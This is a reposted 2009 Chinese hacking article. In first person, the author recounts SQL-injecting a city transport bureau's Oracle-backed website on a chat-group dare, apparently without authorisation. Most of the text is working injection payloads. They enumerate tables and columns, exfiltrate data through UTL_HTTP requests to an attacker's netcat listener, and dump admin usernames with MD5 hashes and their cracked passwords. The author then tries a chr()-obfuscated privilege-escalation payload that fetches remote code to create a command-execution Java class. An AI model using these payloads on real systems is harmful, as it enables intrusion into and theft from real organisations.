首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
oracle注入某市交通局
来源:http://hi.baidu.com/hacker_fengzi 作者:瘋吇 发布时间:2009-08-10  
来源:http://www.bhst.org
作者:瘋吇ぺx[BHST]
BLOG:http://hi.baidu.com/hacker_fengzi
转载请保留此段文字

   过完年后由于东北的天气比较冷,所以工程还没正式开工,于是天天在办公室上网。看到QQ上的一个群公告上写着一个站点,意思就是说看看谁能拿下这个站点。看到这样的公告,小菜我就自报奋勇冲了上去。

一.初遇注入

   这个网站是基于jsp动态语言所编写的,是什么系统小菜我就不知道了。打开网站如图1.

随便找了个有参数传递的地方提交个“'”返回如图2.

看来有戏,得到信息:Resin 2.1.8 。 继续提交 ' and '1'='1 和' and '1'='2 返回如图3,4.

到了这里无论是什么数据库都能说明存在注射漏洞。那就继续吧!先看看是什么类型的数据库,提交/*fengzi 返回如图4的界面,没有正常显示,说明数据库不是MYSQL的。那我们继续在URL后边提交“;”同样返回出错,看样子也不是MSSQL的数据库。再来在RUL后提交“' --fengzi”这下返回正常如图5。

在JSP下支持“--”的就只有MSSQL和Oracle了,上边已经排除了MSSQL。难道是Oracle?进一步证实一下提交“' and (select count (*) from user_tables)>0--” 返回如图6.

晕!真的是Oracle!这下爽了,难得有这样练手的机会。大家都知道使用Oracle数据库的大多数都是大型的系统,安全性能很高。

二.艰难猜解

   既然已经存在注射,我们就要整理一下我们的思路了。小菜我打算先从后台入手。那我们先来找找后台,不然等猜到用户和密码找不到后台的话会很郁闷。直接在URL后边加上个 admin 返回如图7。

后台有了,在猜解之前先来看看,先来看看后台登陆页面的源码。如下

代码:

<tr>
<td width="25%" align="center" valign="middle" bgcolor="eeeeee"><img src="../images/account.gif" width="16" height="16"></td>
<td width="75%" align="" valign="middle"> <input name="username" type="text" size="15">
</td>
</tr>
<tr>
<td align="center" valign="middle" bgcolor="eeeeee"><img src="../images/key.gif" width="16" height="16"></td>
<td align="" valign="middle"><input name="password" type="password" size="15"></td>
</tr>

一般管理员在编写程序的时候为了方便或者自己的习惯,都将用户表里的列名作为变量传递的,所以很有可能用户表里就有username和password这两个列。相信这点小技巧大家都知道了。Oracle和其他数据库最大的不同就是Oracle含有系统表,我们可以在里获得想要的数据,关键的系统表有all_tables,all_objects .......等。我们都是有权限访问的。首先提交“' and (select count(*) from user_tab_columns where column_name like '%25USER%25')>0--” 返回如图8。

(user_tab_columns里存放着所有的列名,这里我们用like来查看列名里是否有相似USER的列,注意是相似哦!而%25是%的RUL编码,想要查询的列必须是大写的,因为Oracle里的列名都是大写的。)返回正常说明存在和USER相似的列名。继续提交“' and (select count(*) from user_tab_columns where column_name like '%25USERNAME%25')>0--”同样返回正常,这说明存在一个相似USERNAME的列名,从前面我们查看登陆页面的源码的时候初步判断出存在一个USERNAME的列。证实一下,提交
“' and (select count(*) from user_tab_columns where column_name like 'USERNAME')>0--”
把%25去掉。返回如图9。

这下证实了确实存在一个USERNAME的列名。继续提交
“' and (select count(*) from user_tab_columns where column_name like 'PASSWORD')>0--”
同样的办法也证实了存在一个PASSWORD的列名。现在列名有了,那就来看看表名是什么。提交
“' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')>0--”如图10

返回正常。说明含有类似于USER的表存在。继续提交
“' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')>1--”
返回正常,看来还不止一个这样的表。继续提交
“' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')>2--”正常。
“' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')>3--”错误。
“' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')=3--”返回正常,如图11.

看来有3个这样的表。试了N多也没找出这个表是什么,真是郁闷。那现在只能一个一个的爆了。方法是使用 union结合select。先来用order by看看有多少个字段,提交“' order by 10--”如图12

返回正常,说明字段大于10.继续提交“' order by 20--”出错,“' order by 15--”出错,“' order by 13--”出错,
“' order by 12--”正常,说明字段数目为12个。下面就开始用union,前提是列数和类型要完全一样。提交“' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--”(注意:Oracle和MYSQL不同union的时候必须要跟个from 表名,dual是系统表)返回如图13.

返回出错,看来union是用不了。既然union用不了那就来招更狠的,Oracle自身有很多的默认账户、包和存储过程。我们可以使用UTL_HTTP包把我们想要的信息返回来。如果想检测一下UTL_HTTP包是否存在可以使用语句select count(*) from all_objects where object_name='UTL_HTTP'来判断。
OK既然是反回信息我们先在本地用NC监听,然后使用“' and UTL_HTTP.request('http://IP:2009/'||(查询语句))=1--”这样的形式。本地先 nc -l -vv -p 2009,然后提交
“' and UTL_HTTP.request('http://IP:2009/'||(select banner from sys.v_$version where rownum=1))=1--”如图14

成功返回数据库的版本。现在我们就来一点一点的爆。先爆库,再爆表,再爆字段(上文字段已经把字段确定出来了是USERNAME和PASSWORD),最后爆字段值。现在我们就来爆库,提交
“' and UTL_HTTP.request('http://ip:2009/'||(select owner from all_tables where rownum=1))=1--”如图15

成功爆出第一个库的名字为SYS。继续爆第二个库名,提交
“' and UTL_HTTP.request('http://IP:2009/'||(select owner from all_tables where owner<>'SYS' and rownum=1))=1--”如图16

获得第二个库的名字为SYSTEM。继续爆第三个库,提交
“' and UTL_HTTP.request('http://IP:2009/'||(select owner from all_tables where owner<>'SYS' and owner<>'SYSTEM' and rownum=1))=1--”如图17

获得第三个库的名字为WMSYS。我们继续提交
“' and UTL_HTTP.request('http://IP:2009/'||(select owner from all_tables where owner<>'SYS' and owner<>'SYSTEM' and owner<>'WMSYS' and rownum=1))=1--”
获得第四个库名MDSYS。提交
“and UTL_HTTP.request('http://IP:2009/'||(select owner from all_tables where owner<>'SYS' and owner<>'SYSTEM' and owner<>'WMSYS' and owner<>'MDSYS' and rownum=1))=1--”
获得库名CTXSYS。以此类推获得所有库名 SYS、SYSTEM、WMSYS、MDSYS、CTXSYS、WKSYS、USER_ZFW_RZ。一共七个,现在库名有了就该爆表名了,首先要选者一个库,这里我选最后一个(这里如果选错库的话花费的时间就要很长时间)。爆表语句如下
提交“' and UTL_HTTP.request('http://IP:2009/'||(select TABLE_NAME from all_tables where owner='USER_ZFW_RZ'and rownum=1))=1--”如图18

USER_ZFW_RZ库中第一个表为PLAN_TABLE。继续提交
“' and UTL_HTTP.request('http://IP:2009/'||(select TABLE_NAME from all_tables where owner='USER_ZFW_RZ'and rownum=1 and TABLE_NAME<>'PLAN_TABLE'))=1--”如图19.

获得第二个表TBL_EAA_ACCESSORIES.继续提交
“' and UTL_HTTP.request('http://IP:2009/'||(select TABLE_NAME from all_tables where owner='USER_ZFW_RZ'and rownum=1 and TABLE_NAME<>'PLAN_TABLE' and TABLE_NAME<>'TBL_EAA_ACCESSORIES'))=1--”
获得第三个表TBL_EAA_AFFICHE。如图20。

通过这样依此类推获得所有表。PLAN_TABLE、TBL_EAA_ACCESSORIES、TBL_EAA_AFFICHE..........TBL_USER_BASE、TBL_USER_MANAGER_BASE、TBL_USER_PURVIEW.........TBL_USER_TUSER、TBL_WEATHER_TWEATHER、TBL_WEB、TEST。一共有46个表。这下表有了列名也有了就该爆用户和密码了。(管理的用户和密码到底存放在哪个表还需要慢慢的探测,我这里就直接绕过去,因为已经事先检测完了存放在表TBL_USER_MANAGER_BASE里边,列名也确定了是USERNAME和PASSWORD)如果需要爆这个表里有多少个列可以用
“' and UTL_HTTP.request('http://IP:2009/'||(select count(*) from user_tab_columns where table_name='表名'))=1--”或者想要爆第一个列名可以使用
“' and UTL_HTTP.request('http://IP:2009/'||(select * from user_tab_columns where table_name='表名' and rownum=1))=1--”
爆第二个列名使用
“' and UTL_HTTP.request('http://IP:2009/'||(select * from user_tab_columns where table_name='表名' and rownum=1 and COLUMN_NAME<>'第一个爆出的列名'))=1--”
以此类推就可以爆出所有的列名。现在我们继续爆用户和密码,提交
“' and UTL_HTTP.request('http://IP:2009/'||(select USERNAME from TBL_USER_MANAGER_BASE where rownum=1))=1--”如图21。

成功爆出用户名为administrator.爆密码提交
“' and UTL_HTTP.request ('http://IP:2009/'||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1))=1--”如图22。

解密后的明文是字母a。OK,现在万事具备登陆后台,如图23。

可是权限非常小什么都干不了。那我们继续爆第二个用户,提交
“' and UTL_HTTP.request('http://IP:2009/'||(select USERNAME from TBL_USER_MANAGER_BASE where rownum=1 and USERNAME<>'administrator'))=1--”如图24。

成功得到用户jyk,继续爆这个用户的密码,提交
“' and UTL_HTTP.request('http://www.jk2100.com:2009/'||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1 and PASSWORD<>'0CC175B9C0F1B6A831C399E269772661'))=1--”
如图25获得jyk的MD5密码为00191258A60D983340F8BC236C0C585A解密后为dcsoft。

三.已败告终

   登陆后台,如图26.

这把有权限了什么都可以干,本想通过后台拿shell的,但是找了半天没有可以利用,就一个上传还利用不上,不存在漏洞。看来这条路算是断了,那我们继续。首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数,我们可以通过web注射直接获得系统权限,呵呵,非常诱人吧!我们先来看看这个函数的利用。如下。SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);[多语句]END;--','SYS',0,'1',0)
多语句里写上我们的exploit,但是这样会造成我们构造的语句非常庞大,所以这里我们可以使用utl_http.request来获取我们放在远程及其上的exploit。
到这里我们的语句就构造完了。
' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1); utl_http.request ('http://www.li-tek.com/1.txt') END;--','SYS',0,'1',0)=0--
但是提交后返回该页无法显示。换成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr(39),0)=0--
远程地址的1.txt内容为
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command)     throws IOException {Runtime.getRuntime().exec(command);}};'';END;'
提交返回如图27.

返回500错误。根据图中返回的结果感觉应该是语句出错了。但是去网上找了好几个都是一样的。还有一给可能就是打了补丁(不过据说打这个补丁的服务器比较少,难道就让我碰上了,这里不确定)后来本打算添加个DBA用户,然后本地连上去。但是telnet了站点的1521端口也没反应,可能是不可外连,这样就算我们可以添加DBA用户也没办法利用了,ORACLE的sid也没查到,使用sidguess破解也是无功而返,弄到这里小菜我是黔驴技穷了。如果哪位牛牛还有办法麻烦指教一下。感激不尽。

五.总结

    虽然最终没能得到服务器的系统权限,但是体验了一次ORACLE注射,感觉很不错,体验的过程中也学到了很多东西。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·黑客渗透linux下载备份取shell
·Developing A PHP Core Backdoor
·ECShop_V2.6.2后台获取webshell
·新型万能登陆密码
·some shit tips
·*nux如何创建后门
·在Solaris系统中的sniffer攻击实
·搜狐博客蠕虫
·武汉IT培训机构网站安全报告
·我在qqmail上放了*个后门
·Windows系统密码破解全攻略
·巧妙利用表自联偏移注入ACC数据
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved